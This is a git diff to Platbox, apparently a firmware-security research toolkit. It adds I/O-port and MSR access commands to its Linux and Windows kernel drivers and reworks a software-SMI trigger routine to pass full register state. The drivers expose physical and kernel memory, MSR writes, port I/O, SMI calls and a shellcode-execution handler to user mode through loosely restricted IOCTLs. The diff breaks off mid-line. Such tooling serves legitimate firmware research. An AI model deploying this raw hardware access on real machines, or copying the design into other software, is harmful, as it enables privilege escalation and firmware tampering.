diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..9dadd01 --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 IOActive + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/PlatboxClient/PlatboxClient.cpp b/PlatboxClient/PlatboxClient.cpp index 3a554cb..e5f78d6 100644 --- a/PlatboxClient/PlatboxClient.cpp +++ b/PlatboxClient/PlatboxClient.cpp @@ -100,6 +100,28 @@ void parse_bus_device_function(char *line, UINT *bus, UINT *device, UINT *functi free(subargs); } + +void read_msr(int argc, char **argv) { + /* rdmsr */ + if (argc == 2) { + UINT msr = strtoul(argv[1], NULL, 16); + enable_debug_mode(); + do_read_msr(msr, NULL); + restore_debug_mode(); + } +} + +void write_msr(int argc, char **argv) { + /* wrmsr */ + if (argc == 3) { + UINT msr = strtoul(argv[1], NULL, 16); + UINT64 value = strtoull(argv[2], NULL, 16); + enable_debug_mode(); + do_write_msr(msr, value); + restore_debug_mode(); + } +} + void parse_handle_pci_operation(int argc, char **argv) { // pci r 0:2:0 -> reads the configuration space // pci rb 0:2:0 1 -> reads a byte from offset diff --git a/PlatboxDrv/linux/driver/kernetix.c b/PlatboxDrv/linux/driver/kernetix.c index 4f3e3bb..e11b662 100644 --- a/PlatboxDrv/linux/driver/kernetix.c +++ b/PlatboxDrv/linux/driver/kernetix.c @@ -23,6 +23,7 @@ #include "kernetix.h" #include +#include /////////////////////////////////////////////////////////////////////////// @@ -76,7 +77,8 @@ static long int kernetix_ioctl(struct file *file, unsigned int cmd, unsigned lon void __user * p = (void __user *)carg; struct _kernel_write *kwrite = NULL; - struct _kernel_read *kread = NULL; + struct _kernel_read *kread = NULL; + IO_PORT_CALL _io; unsigned long _cr3; printk(KERN_ALERT "==> The IOCTL for %#08x was called\n", cmd); @@ -154,9 +156,7 @@ static long int kernetix_ioctl(struct file *file, unsigned int cmd, unsigned lon printk(KERN_ALERT "Value of rbx --> %llx\n", swsmi_call->rbx ); - __u16 b2b3 = ((swsmi_call->SwSmiData << 8) | swsmi_call->SwSmiNumber); - _swsmi(b2b3, swsmi_call->rax, swsmi_call->rbx, - swsmi_call->rcx, swsmi_call->rdx, swsmi_call->rsi, swsmi_call->rdi); + _swsmi(swsmi_call); kfree(swsmi_call); break; @@ -392,7 +392,54 @@ static long int kernetix_ioctl(struct file *file, unsigned int cmd, unsigned lon //printk(KERN_ALERT "efi_memmap: %016lx --> addr_result:[%016lx]\n", &efi.memmap, addr_result); put_user( (long unsigned int *) &efi.memmap, (unsigned long **)addr_result ); - break; + break; + + case IOCTL_READ_IO_PORT: + if (copy_from_user(&_io, p, sizeof(IO_PORT_CALL))) { + return -EINVAL; + } + + _io.data = 0; + + switch(_io.size) { + case IO_SIZE_BYTE: + _io.data = inb(_io.port); + break; + case IO_SIZE_WORD: + _io.data = inw(_io.port); + break; + case IO_SIZE_DWORD: + _io.data = inl(_io.port); + break; + default: + return -EINVAL; + } + + if (copy_to_user(p, &_io, sizeof(IO_PORT_CALL))) { + pr_err("copy_to_user error!!\n"); + } + break; + + case IOCTL_WRITE_IO_PORT: + if (copy_from_user(&_io, p, sizeof(IO_PORT_CALL))) { + return -EINVAL; + } + + switch(_io.size) { + case IO_SIZE_BYTE: + outb((uint8_t) _io.data, _io.port); + break; + case IO_SIZE_WORD: + outw((uint16_t) _io.data, _io.port); + break; + case IO_SIZE_DWORD: + outl(_io.data, _io.port); + break; + default: + return -EINVAL; + } + + break; } return 0; diff --git a/PlatboxDrv/linux/driver/low_level_functions.asm b/PlatboxDrv/linux/driver/low_level_functions.asm index 02d6ec0..93558f1 100644 --- a/PlatboxDrv/linux/driver/low_level_functions.asm +++ b/PlatboxDrv/linux/driver/low_level_functions.asm @@ -13,27 +13,88 @@ global _wrmsr section .text -; void _swsmi( smi_code_data, rax_value, rbx_value, rcx_value, rdx_value, rsi_value, rdi_value); +; void _swsmi(SW_SMI_CALL *smi_call); _swsmi: + push r15 + push r14 + push r13 + push r12 + push r11 + push r10 + push r9 + push r8 + push rsi + push rdx push rbx - - ; RAX will get partially overwritten (AX) by _smi_code_data (which is passed in RCX) - ; RDX will get partially overwritten (DX) by the value of APMC port (= 0x00B2) - mov rax, rsi ; rax_value - mov ax, di ; smi_code_data - mov rbx, rdx ; rbx value - ; rcx already in its right value - mov rdx, r8 ; rdx value - mov rsi, r9 ; rsi value - mov rdi, [rsp + 010h] ; rdi_value - mov dx, 0B2h - + push rcx + push rdi + + ; set registers to state of provided structure + mov r15, [rdi + 080h] + mov r14, [rdi + 078h] + mov r13, [rdi + 070h] + mov r12, [rdi + 068h] + mov r11, [rdi + 060h] + mov r10, [rdi + 058h] + mov r9, [rdi + 050h] + mov r8, [rdi + 048h] + ; rdi handled later + mov rsi, [rdi + 038h] + mov rdx, [rdi + 030h] + mov rcx, [rdi + 028h] + mov rbx, [rdi + 020h] + + ; The trigger port might be different than 0xB2 in AMD + mov dx, [rdi + 010h] + + mov rax, [rdi + 08h] + shl rax, 8 + or rax, [rdi] + + mov rdi, [rdi + 040h] ; get rdi value just before the OUT instruction + ; this OUT instruction will write WORD value (smi_code_data) to ports 0xB2 and 0xB3 (SW SMI control and data ports) out dx, ax + ;; write to structure the changes that could have happened in SMM + + push rax; save return RAX from SMI + mov rax, [rsp + 08h]; rax points to original RDI + + mov [rax + 080h], r15 + mov [rax + 078h], r14 + mov [rax + 070h], r13 + mov [rax + 068h], r12 + mov [rax + 060h], r11 + mov [rax + 058h], r10 + mov [rax + 050h], r9 + mov [rax + 048h], r8 + mov [rax + 040h], rdi + mov [rax + 038h], rsi + mov [rax + 030h], rdx + mov [rax + 028h], rcx + mov [rax + 020h], rbx + + pop r15 ; retrieve original rax + mov [rax + 018h], r15 + + pop rdi + pop rcx pop rbx - ret + pop rdx + pop rsi + pop r8 + pop r9 + pop r10 + pop r11 + pop r12 + pop r13 + pop r14 + pop r15 + + xor rax, rax + ret ; _read_pci_compatible_configuration_space(UINT8 Bus, UINT8 Device, UINT8 Function, PVOID pOut) ; Reads the 256 bytes of PCI Configuration data from a BDF into pOut diff --git a/PlatboxDrv/linux/include/kernetix.h b/PlatboxDrv/linux/include/kernetix.h index 5b23805..ef2b23f 100644 --- a/PlatboxDrv/linux/include/kernetix.h +++ b/PlatboxDrv/linux/include/kernetix.h @@ -28,8 +28,8 @@ struct _kernel_write void *old_value; }; - - +typedef unsigned short USHORT; +typedef USHORT UINT16; typedef unsigned int UINT; typedef UINT UINT32; typedef char CHAR; @@ -63,9 +63,9 @@ typedef int NTSTATUS; #define CHAR_BIT 8 #define UCHAR_MAX 255 -void _swsmi(short smi_code_data, - __u64 rax_value, __u64 rbx_value, __u64 rcx_value, __u64 rdx_value, - __u64 rsi_value, __u64 rdi_value); +#define IO_SIZE_BYTE 0 +#define IO_SIZE_WORD 1 +#define IO_SIZE_DWORD 2 void _read_pci_compatible_configuration_space(UINT8 Bus, UINT8 Device, UINT8 Function, PVOID pOut); @@ -82,17 +82,27 @@ void _wrmsr(int MSR, UINT64 Value); typedef struct _SW_SMI_CALL { - UINT8 SwSmiNumber; // 0xb2 - UINT8 SwSmiData; // 0xb3 + UINT64 SwSmiNumber; // 0xb2 + UINT64 SwSmiData; // 0xb3 + UINT64 TriggerPort; UINT64 rax; UINT64 rbx; UINT64 rcx; UINT64 rdx; UINT64 rsi; UINT64 rdi; + UINT64 r8; + UINT64 r9; + UINT64 r10; + UINT64 r11; + UINT64 r12; + UINT64 r13; + UINT64 r14; + UINT64 r15; + // append maybe? } SW_SMI_CALL, *PSW_SMI_CALL; - +void _swsmi(SW_SMI_CALL *smi_call); typedef struct _READ_PCI_CONFIGURATION_SPACE_CALL { UINT8 bus; @@ -144,7 +154,11 @@ typedef struct _WRITE_MSR_CALL { UINT64 value; } WRITE_MSR_CALL, *PWRITE_MSR_CALL; - +typedef struct _IO_PORT_CALL { + UINT8 size; + UINT16 port; + UINT32 data; +} IO_PORT_CALL, *PIO_PORT_CALL; /* Use 'n' as magic number */ #define KERNETIX_IOC_MAGIC 'n' @@ -176,3 +190,5 @@ typedef struct _WRITE_MSR_CALL { #define IOCTL_GET_EFI_MEMMAP_ADDRESS _IOWR(KERNETIX_IOC_MAGIC, 20, void *) +#define IOCTL_READ_IO_PORT _IOR(KERNETIX_IOC_MAGIC, 21, void *) +#define IOCTL_WRITE_IO_PORT _IOR(KERNETIX_IOC_MAGIC, 22, void *) \ No newline at end of file diff --git a/PlatboxDrv/windows/Platbox/Platbox.c b/PlatboxDrv/windows/Platbox/Platbox.c index 5b45e81..ba3a63a 100644 --- a/PlatboxDrv/windows/Platbox/Platbox.c +++ b/PlatboxDrv/windows/Platbox/Platbox.c @@ -205,6 +205,12 @@ NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { case IOCTL_WRITE_MSR: Status = WriteMSR(Irp, IrpSp); break; + case IOCTL_READ_IO_PORT: + Status = ReadIOPort(Irp, IrpSp); + break; + case IOCTL_WRITE_IO_PORT: + Status = WriteIOPort(Irp, IrpSp); + break; case IOCTL_PATCH_CALLBACK: Status = PatchCallback(Irp, IrpSp); break; @@ -259,11 +265,9 @@ NTSTATUS SendSWSmiHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { PAGED_CODE(); if (IrpSp->Parameters.DeviceIoControl.InputBufferLength == sizeof(SW_SMI_CALL)) { - PSW_SMI_CALL s = (PSW_SMI_CALL) Irp->AssociatedIrp.SystemBuffer; - UINT16 b2b3 = ((s->SwSmiData << 8) | s->SwSmiNumber); __try { - _swsmi(b2b3, s->rax, s->rbx, s->rcx, s->rdx, s->rsi, s->rdi); + _swsmi(Irp->AssociatedIrp.SystemBuffer); Status = STATUS_SUCCESS; } __except (EXCEPTION_EXECUTE_HANDLER) @@ -601,6 +605,77 @@ NTSTATUS WriteMSR(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { return Status; } +NTSTATUS ReadIOPort(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + UNREFERENCED_PARAMETER(Irp); + PAGED_CODE(); + + Irp->IoStatus.Information = 0; + if (IrpSp->Parameters.DeviceIoControl.InputBufferLength >= sizeof(IO_PORT_CALL)) { + if (IrpSp->Parameters.DeviceIoControl.OutputBufferLength >= sizeof(IO_PORT_CALL)) { + PIO_PORT_CALL p = (PIO_PORT_CALL)Irp->AssociatedIrp.SystemBuffer; + __try { + switch(p->size) { + case IO_SIZE_BYTE: + p->data = __inbyte(p->port); + break; + case IO_SIZE_WORD: + p->data = __inword(p->port); + break; + case IO_SIZE_DWORD: + p->data = __indword(p->port); + break; + default: + Irp->IoStatus.Information = 0; + return STATUS_INVALID_PARAMETER; + } + memcpy(Irp->AssociatedIrp.SystemBuffer, p, sizeof(IO_PORT_CALL)); + Irp->IoStatus.Information = sizeof(IO_PORT_CALL); + Status = STATUS_SUCCESS; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + *(DWORD64 *)Irp->AssociatedIrp.SystemBuffer = 0xFFFFFFFFFFFFFFFF; + Irp->IoStatus.Information = sizeof(DWORD64); + Status = STATUS_UNSUCCESSFUL; + } + } + } + return Status; +} + +NTSTATUS WriteIOPort(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + UNREFERENCED_PARAMETER(Irp); + PAGED_CODE(); + + Irp->IoStatus.Information = 0; + if (IrpSp->Parameters.DeviceIoControl.InputBufferLength >= sizeof(IO_PORT_CALL)) { + PIO_PORT_CALL p = (PIO_PORT_CALL)Irp->AssociatedIrp.SystemBuffer; + __try { + switch(p->size) { + case IO_SIZE_BYTE: + __outbyte(p->port, p->data); + break; + case IO_SIZE_WORD: + __outword(p->port, p->data); + break; + case IO_SIZE_DWORD: + __outdword(p->port, p->data); + break; + default: + return STATUS_INVALID_PARAMETER; + } + Status = STATUS_SUCCESS; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + Status = STATUS_UNSUCCESSFUL; + } + } + return Status; +} + NTSTATUS PatchCallback(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { NTSTATUS Status = STATUS_UNSUCCESSFUL; diff --git a/PlatboxDrv/windows/Platbox/Platbox.h b/PlatboxDrv/windows/Platbox/Platbox.h index b825bc3..c73deb1 100644 --- a/PlatboxDrv/windows/Platbox/Platbox.h +++ b/PlatboxDrv/windows/Platbox/Platbox.h @@ -2,7 +2,7 @@ #include #ifndef PAGE_SIZE - #define PAGE_SIZE 0x1000 + #define PAGE_SIZE 0x1000 #endif #define IOCTL_ISSUE_SW_SMI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) @@ -19,18 +19,20 @@ #define IOCTL_WRITE_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_READ_MSR CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_WRITE_MSR CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_PATCH_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_RESTORE_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_REMOVE_ALL_CALLBACKS_HOOKS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_READ_IO_PORT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_WRITE_IO_PORT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PATCH_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_RESTORE_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_REMOVE_ALL_CALLBACKS_HOOKS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_MAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_UNMAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_ALLOC_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_MAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_UNMAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_ALLOC_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_READ_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_WRITE_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_READ_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_WRITE_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x817, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_GET_PHYSICAL_RANGES CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_GET_PHYSICAL_RANGES CTL_CODE(FILE_DEVICE_UNKNOWN, 0x818, METHOD_BUFFERED, FILE_ANY_ACCESS) DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD IrpUnloadHandler; @@ -47,7 +49,7 @@ NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath); -NTSTATUS SendSWSmiHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); +NTSTATUS SendSWSmiHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS ExecuteShellcodeHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS ReadPCIHeaderHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS ReadPCIByte(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); @@ -61,6 +63,8 @@ NTSTATUS ReadPhysicalMemory(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS WritePhysicalMemory(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS ReadMSR(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS WriteMSR(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); +NTSTATUS ReadIOPort(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); +NTSTATUS WriteIOPort(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS PatchCallback(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS RestoreCallback(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); NTSTATUS RemoveAllCallbackHooks(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp); @@ -77,45 +81,49 @@ typedef char BYTE; typedef struct _SW_SMI_CALL { - UINT8 SwSmiNumber; // 0xb2 - UINT8 SwSmiData; // 0xb3 - UINT64 rax; - UINT64 rbx; - UINT64 rcx; - UINT64 rdx; - UINT64 rsi; - UINT64 rdi; + UINT64 SwSmiNumber; // 0xb2 + UINT64 SwSmiData; // 0xb3 + UINT64 TriggerPort; + UINT64 rax; + UINT64 rbx; + UINT64 rcx; + UINT64 rdx; + UINT64 rsi; + UINT64 rdi; + UINT64 r8; + UINT64 r9; + UINT64 r10; + UINT64 r11; + UINT64 r12; + UINT64 r13; + UINT64 r14; + UINT64 r15; + // apend here? } SW_SMI_CALL, *PSW_SMI_CALL; void _swsmi( - unsigned int smi_code_data, - unsigned int rax_value, - unsigned int rbx_value, - unsigned int rcx_value, - unsigned int rdx_value, - unsigned int rsi_value, - unsigned int rdi_value + PSW_SMI_CALL smi_call ); typedef struct _READ_PCI_CONFIGURATION_SPACE_CALL { - UINT8 bus; - UINT8 device; - UINT8 function; + UINT8 bus; + UINT8 device; + UINT8 function; } READ_PCI_CONFIGURATION_SPACE_CALL, *PREAD_PCI_CONFIGURATION_SPACE_CALL; void _read_pci_compatible_configuration_space( - UINT8 bus, - UINT8 device, - UINT8 function, - PVOID pOut + UINT8 bus, + UINT8 device, + UINT8 function, + PVOID pOut ); typedef struct _READ_PCI_DATA_CALL { - UINT8 bus; - UINT8 device; - UINT8 function; - UINT8 offset; + UINT8 bus; + UINT8 device; + UINT8 function; + UINT8 offset; } READ_PCI_DATA_CALL, *PREAD_PCI_DATA_CALL; void _read_pci_byte(UINT32 CF8, PVOID pOut); @@ -124,11 +132,11 @@ void _read_pci_dword(UINT32 CF8, PVOID pOut); void _read_pci_bar_size(UINT32 CF8, PVOID pOut); typedef struct _WRITE_PCI_DATA_CALL { - UINT8 bus; - UINT8 device; - UINT8 function; - UINT8 offset; - UINT32 value; + UINT8 bus; + UINT8 device; + UINT8 function; + UINT8 offset; + UINT32 value; } WRITE_PCI_DATA_CALL, *PWRITE_PCI_DATA_CALL; void _write_pci_byte(UINT32 CF8, UINT32 value); @@ -136,61 +144,68 @@ void _write_pci_word(UINT32 CF8, UINT32 value); void _write_pci_dword(UINT32 CF8, UINT32 value); typedef struct _READ_PHYSICAL_MEM_CALL { - PHYSICAL_ADDRESS address; + PHYSICAL_ADDRESS address; } READ_PHYSICAL_MEM_CALL, *PREAD_PHYSICAL_MEM_CALL; typedef struct _WRITE_PHYSICAL_MEM_CALL { - PHYSICAL_ADDRESS address; - UINT32 size; - UCHAR data[0x1000]; + PHYSICAL_ADDRESS address; + UINT32 size; + UCHAR data[0x1000]; } WRITE_PHYSICAL_MEM_CALL, *PWRITE_PHYSICAL_MEM_CALL; struct alloc_user_physmem { - UINT64 va; - UINT64 pa; - UINT32 size; + UINT64 va; + UINT64 pa; + UINT32 size; }; void _rdmsr(UINT32 msr, PVOID pOut); void _wrmsr(UINT32 msr, UINT64 value); typedef struct _READ_MSR_CALL { - UINT32 msr; + UINT32 msr; } READ_MSR_CALL, *PREAD_MSR_CALL; typedef struct _WRITE_MSR_CALL { - UINT32 msr; - UINT64 value; + UINT32 msr; + UINT64 value; } WRITE_MSR_CALL, *PWRITE_MSR_CALL; +#define IO_SIZE_BYTE 0 +#define IO_SIZE_WORD 1 +#define IO_SIZE_DWORD 2 - +typedef struct _IO_PORT_CALL { + UINT8 size; + UINT16 port; + UINT32 data; +} IO_PORT_CALL, *PIO_PORT_CALL; typedef struct _MAP_PHYSICAL_MEM_CALL { - PHYSICAL_ADDRESS phys_address; + PHYSICAL_ADDRESS phys_address; } MAP_PHYSICAL_MEM_CALL, *PMAP_PHYSICAL_MEM_CALL; typedef struct _UNMAP_PHYSICAL_MEM_CALL { - PVOID user_address; + PVOID user_address; } UNMAP_PHYSICAL_MEM_CALL, *PUNMAP_PHYSICAL_MEM_CALL; typedef struct _USER_MAPPED_MEM { - PHYSICAL_ADDRESS phys_address; - PVOID kernel_va; - PMDL mdl; - PVOID user_address; - BOOLEAN is_allocation; - struct _USER_MAPPED_MEM *next; + PHYSICAL_ADDRESS phys_address; + PVOID kernel_va; + PMDL mdl; + PVOID user_address; + BOOLEAN is_allocation; + struct _USER_MAPPED_MEM *next; } USER_MAPPED_MEM, *PUSER_MAPPED_MEM; typedef struct _READ_KMEM_IN { - UINT64 vaddr; - UINT32 size; + UINT64 vaddr; + UINT32 size; } READ_KMEM_IN, *PREAD_KMEM_IN; typedef struct _WRITE_KMEM_IN { - UINT64 target_vaddr; - UINT64* src_vaddr; - UINT32 size; + UINT64 target_vaddr; + UINT64* src_vaddr; + UINT32 size; } WRITE_KMEM_IN, * PWRITE_KMEM_IN; \ No newline at end of file diff --git a/PlatboxDrv/windows/Platbox/low_level_functions.asm b/PlatboxDrv/windows/Platbox/low_level_functions.asm index 8c983df..ebae754 100644 --- a/PlatboxDrv/windows/Platbox/low_level_functions.asm +++ b/PlatboxDrv/windows/Platbox/low_level_functions.asm @@ -13,30 +13,91 @@ PUBLIC _wrmsr .code -; void _swsmi( smi_code_data, rax_value, rbx_value, rcx_value, rdx_value, rsi_value, rdi_value); +; void _swsmi(PSW_SMI_CALL *regs); _swsmi PROC PUBLIC - - push rbx - push rsi + + ; store registers on stack + push r15 + push r14 + push r13 + push r12 + push r11 + push r10 + push r9 + push r8 push rdi + push rsi + push rdx + push rbx + push rcx + + + ; set registers to state of provided structure + mov r15, [rcx + 080h] + mov r14, [rcx + 078h] + mov r13, [rcx + 070h] + mov r12, [rcx + 068h] + mov r11, [rcx + 060h] + mov r10, [rcx + 058h] + mov r9, [rcx + 050h] + mov r8, [rcx + 048h] + mov rdi, [rcx + 040h] + mov rsi, [rcx + 038h] + mov rdx, [rcx + 030h] + ; rcx handled later + mov rbx, [rcx + 020h] + + ; The trigger port might be different than 0xB2 in AMD + mov dx, word ptr [rcx + 010h] - ; RAX will get partially overwritten (AX) by _smi_code_data (which is passed in RCX) - ; RDX will get partially overwritten (DX) by the value of APMC port (= 0x00B2) - mov rax, rdx ; rax_value - mov ax, cx ; smi_code_data - mov rdx, [rsp + 040h] ; rsp + 0x28 + 0x18 - mov dx, 0B2h - mov rbx, r8 ; rbx_value - mov rcx, r9 ; rcx_value - mov rsi, [rsp + 048h] ; rsi_value - mov rdi, [rsp + 050h] ; rdi_value + mov rax, [rcx + 08h] + shl rax, 8 + or rax, [rcx] + mov rcx, [rcx + 028h] ; get rcx value just before the OUT instruction + ; this OUT instruction will write WORD value (smi_code_data) to ports 0xB2 and 0xB3 (SW SMI control and data ports) + out dx, ax - pop rdi - pop rsi + ;; write to structure the changes that could have happened in SMM + + push rax; save return RAX from SMI + mov rax, [rsp + 08h]; rax points to original RCX + + mov [rax + 080h], r15 + mov [rax + 078h], r14 + mov [rax + 070h], r13 + mov [rax + 068h], r12 + mov [rax + 060h], r11 + mov [rax + 058h], r10 + mov [rax + 050h], r9 + mov [rax + 048h], r8 + mov [rax + 040h], rdi + mov [rax + 038h], rsi + mov [rax + 030h], rdx + mov [rax + 028h], rcx + mov [rax + 020h], rbx + + pop r15 ; retrieve original rax + mov [rax + 018h], r15 + + pop rcx pop rbx + pop rdx + pop rsi + pop rdi + pop r8 + pop r9 + pop r10 + pop r11 + pop r12 + pop r13 + pop r14 + pop r15 + + xor rax, rax + ret _swsmi ENDP @@ -45,186 +106,186 @@ _swsmi ENDP ; _read_pci_compatible_configuration_space(UINT8 Bus, UINT8 Device, UINT8 Function, PVOID pOut) ; Reads the 256 bytes of PCI Configuration data from a BDF into pOut _read_pci_compatible_configuration_space PROC PUBLIC - push rbx - push rdi - cli - - xor rax, rax - mov al, 1 - shl eax, 1Fh - shl ecx, 10h - shl edx, 0Bh - shl r8d, 08h - or eax, ecx - or eax, edx - or eax, r8d - mov rbx, rax - mov rdi, r9 - xor rcx, rcx - not rcx + push rbx + push rdi + cli + + xor rax, rax + mov al, 1 + shl eax, 1Fh + shl ecx, 10h + shl edx, 0Bh + shl r8d, 08h + or eax, ecx + or eax, edx + or eax, r8d + mov rbx, rax + mov rdi, r9 + xor rcx, rcx + not rcx _loop: - inc rcx - mov rax, rcx - shl eax, 02h - or eax, ebx - - mov dx, 0CF8h - out dx, eax - xor rax, rax - mov dx, 0CFCh - in eax, dx - - mov dword ptr [rdi+rcx*4], eax - - cmp cl, 40h - jnz _loop - - sti - pop rdi - pop rbx - ret + inc rcx + mov rax, rcx + shl eax, 02h + or eax, ebx + + mov dx, 0CF8h + out dx, eax + xor rax, rax + mov dx, 0CFCh + in eax, dx + + mov dword ptr [rdi+rcx*4], eax + + cmp cl, 40h + jnz _loop + + sti + pop rdi + pop rbx + ret _read_pci_compatible_configuration_space ENDP ; void _read_pci_byte( UINT32 CF8, PVOID pOut); _read_pci_byte PROC PUBLIC - push rdx - cli - xor rdx, rdx - mov dx, 0CF8h - mov rax, rcx - out dx, eax - xor rax, rax - mov dx, 0CFCh - in al, dx - pop rdx - mov byte ptr[rdx], al - sti - ret + push rdx + cli + xor rdx, rdx + mov dx, 0CF8h + mov rax, rcx + out dx, eax + xor rax, rax + mov dx, 0CFCh + in al, dx + pop rdx + mov byte ptr[rdx], al + sti + ret _read_pci_byte ENDP ; void _read_pci_word( UINT32 CF8, PVOID pOut); _read_pci_word PROC PUBLIC - push rdx - cli - xor rdx, rdx - mov dx, 0CF8h - mov rax, rcx - out dx, eax - xor rax, rax - mov dx, 0CFCh - in ax, dx - pop rdx - mov word ptr[rdx], ax - sti - ret + push rdx + cli + xor rdx, rdx + mov dx, 0CF8h + mov rax, rcx + out dx, eax + xor rax, rax + mov dx, 0CFCh + in ax, dx + pop rdx + mov word ptr[rdx], ax + sti + ret _read_pci_word ENDP ; void _read_pci_dword( UINT32 CF8, PVOID pOut); _read_pci_dword PROC PUBLIC - push rdx - cli - xor rdx, rdx - mov dx, 0CF8h - mov rax, rcx - out dx, eax - xor rax, rax - mov dx, 0CFCh - in eax, dx - pop rdx - mov dword ptr[rdx], eax - sti - ret + push rdx + cli + xor rdx, rdx + mov dx, 0CF8h + mov rax, rcx + out dx, eax + xor rax, rax + mov dx, 0CFCh + in eax, dx + pop rdx + mov dword ptr[rdx], eax + sti + ret _read_pci_dword ENDP ; void _write_pci_byte( UINT32 CF8, UINT32 value); _write_pci_byte PROC PUBLIC - push rdx - cli - xor rdx, rdx - mov dx, 0CF8h - mov rax, rcx - out dx, eax - xor rax, rax - pop rdx - mov rax, rdx - mov dx, 0CFCh - out dx, al - sti - ret + push rdx + cli + xor rdx, 